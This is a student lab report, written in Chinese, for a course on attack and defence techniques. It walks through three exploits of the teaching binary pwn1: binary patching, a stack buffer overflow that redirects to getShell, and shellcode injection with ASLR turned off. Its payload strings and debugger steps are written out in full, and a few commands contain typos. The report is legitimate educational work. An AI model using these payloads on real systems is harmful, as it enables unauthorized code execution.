20222310 2024-2025-1 《网络与系统攻防技术》实验一实验报告

一、实验内容

1.实验目标
本次实验的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实验的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
三个实验内容如下：

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
• 掌握反汇编与十六进制编程器
• 能正确修改机器指令改变程序执行流程
• 能正确构造payload进行bof攻击

3.基础知识

3.1NOP, JNE, JE, JMP, CMP汇编指令的机器码
（1）NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
（2）JNE：条件转移指令，如果不相等则跳转。（机器码：75）
（3）JE：条件转移指令，如果相等则跳转。（机器码：74）
（4）JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
（5）CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

3.2反汇编
（1）由已生成的机器语言（二进制语言）转化为汇编语言的过程，也可以说是汇编的逆向过程。
（2）在本次实验中，我在Linux环境下使用objdump反汇编工具对pwn20222310文件进行反汇编。
（3）反汇编指令objdump -d <文件名>。

3.3十六进制编辑器
（1）十六进制编辑器是用于编辑单个字节数据的软件应用程序，主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器，在本次实验中我主要使用xxd，xxd 是一个命令行十六进制编辑器，可以创建二进制文件的十六进制转储。
（2）%!xxd 进入十六进制编辑模式。
（3）%!xxd -r 切换回原模式。

二、实验过程

任务一：修改可执行文件机器指令，改变程序执行流程

将pwn1从主机传入kali虚拟机，并改名为pwn20222310。

从桌面打开终端，对pwn20222310进行反汇编。
objdump -d pwn20222310 | more
第一列是内存地址，第二列是机器指令，第三列为汇编语言。

主要分析getshell，foo，main部分。

观察main函数可知，call跳转到了foo函数。又根据对pwn20222310文件的运行测试发现，它只会回显用户输入的字符串。根据实验要求，我们需要修改可执行文件，改变程序执行流程，直接跳转到getShell函数。这里需要修改主函数，将call foo改为call getShell。因此，需要将call 8048491中的地址8048491修改为getShell的地址804847d。

偏移量=8048491-80484ba=-41。补码表示为0xffffffd7，与第二列机器指令中的0xd7ffffff相吻合。由此可知，要想调用getShell，偏移量为0804847d（即getShell函数的首地址）-80484ba=-61=0xffffff3c颠倒为计算机存储内容，为0xc3ffffff。也就是将0xd7ffffff修改为0xc3ffffff。

接下来利用vi修改pwn20222310文件内容。
vi pwn20222310
打开文件后为乱码，按esc。接下来输入:%!xxd将文件转化为十六进制读取形式，输入/e8 d7找到需要修改的位置。按i进入插入模式，进行修改。

然后输入:%!xxd -r转回原来乱码格式，并输入:wq保存退出。

在终端输入./pwn20222310运行更改后的文件，顺利执行。

任务二：通过 BOF 注入攻击，改变程序执行流程

先备份一份与pwn1内容相同的文件pwn20222310_2,任务二将利用pwn20222310_2进行。

先输入sudo apt update和sudo apt install gdb安装gdb。

先输入gdb pwn20222310_2调试程序
再输入r
然后输入1111111122222222333333334444444455555555

输入info r查看寄存器eip的值，可以看到，eip中的值被修改成了 0x35353535，也就是说这时候eip里存的数据是"5555"(因为5的ASCII码是0x35)，而我们输入长度已经超过了原本缓冲区的28字节，字符串的“555555555”部分溢出覆盖掉了eip的部分。

再次先输入gdb pwn20222310_2调试程序
再输入r
然后输入1111111122222222333333334444444412345678

输入info r查看寄存器eip的值，看到eip中的值变成了 0x34333231，也就是说里面存的字符是"4321"，由此我们看到输入字符串“111111..12345678”中的“1234”覆盖掉原本堆栈中的返回地址。

结合之前反汇编的内容得知getShell的地址为804847d。

因为我们不可能直接键盘手动输入十六进制数，所以可以先生成包含这样字符串的文件，\x0a代表回车。
perl -e 'print "11111111222222223333333344444444\x7d\x84x04\x08\x0a"'> input20222310
查看input20222310中的内容xxd input20222310

(cat input20222310;cat)1 ./pwn20222310_2将input20222310中的内容输入pwn20222310_2中，发现执行成功。

任务三：注入Shellcode，并执行

先备份一份与pwn1内容相同的文件pwn20222310_3,任务三将利用pwn20222310_3进行。

execstack -s pwn20222310_3
execstack -q pwn20222310_3
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
先调整系统设置。

将shellcode生成一个可执行文件。perl -e print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00" > input_shellcode

输入(cat input_shellcode;cat) | ./pwn20222310_3。

之后打开另一个终端，输入ps -ef | grep pwn20222310_3查找进程号。

34729就是进程号。再gdb打开gdb。attach 34729调试进程，disassemble foo设置断点，查看要注入的内存地址，break *0x080484ae，把断点设置在080484ae。

在最开始的终端按下回车，然后在新打开的终端输入c继续运行，输入info r esp，查看esp地址，尝试找到shellcode的地址。

x/16x 0xffffd35c，看见了01020304。

栈顶指针地址加四字节0xffffd35c+4=0xffffd360。于是知道了shellcode中\x4\x3\x2\x1的内容应该填什么。
perl -e 'print "A" x 32;print "\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x70\xd3\xff\xff\x00"' > input_shellcode

再次注入。(cat input_shellcode;cat) | ./pwn20222310_3这次成功运行。

三、问题及解决方案

问题1：输入./pwn20222310执行文件时，提示“zsh:permission denied:/pwn20222310”。

问题1解决方案：在终端中输入chmod +x ./pwn20222310

问题2：系统安装不了execstack。

问题2解决方案：编辑文件sources.list。sudo vim /etc/apt/sources.list将下列信息加入到文件里。

`deb http://http.kali.org/kali kali-rolling main contrib non-free

For source package access, uncomment the following line

deb-src http://http.kali.org/kali kali-rolling main contrib non-free

deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free

For source package access, uncomment the following line

deb-src http://http.kali.org/kali sana main non-free contrib

deb-src http://security.kali.org/kali-security sana/updates main contrib non-free

deb http://old.kali.org/kali moto main non-free contrib

For source package access, uncomment the following line

deb-src http://old.kali.org/kali moto main non-free contrib`

再输入apt-get update更新，然后便可下载execstack。

四、学习感悟、思考等

本次实验是在一个从未接触的kali linux环境中进行的实验，刚开始时无从下手，连终端都不知道如何打开，几乎每进行一点都会遇到很大的困难，例如虚拟机联网失败，执行权限不足，下载资源找不到，提示看不懂等等。实验花费了我大量时间和经历，令人欣慰的是，通过此次实验，我对kali系统有了初步的认识，了解了文件的反汇编，知道了构造有效的payload是BOF攻击的核心，我学会了计算缓冲区的大小，地址的偏移，并利用这些信息覆盖返回地址。我还了解了linux系统调用的机制，成功实现了通过shellcode获得shell的过程。
总的来说，本次实验不仅提升了我的技术能力，也让我对计算机安全领域有了更深的认识。希望未来能够继续探索更复杂的攻击方法和防御技术。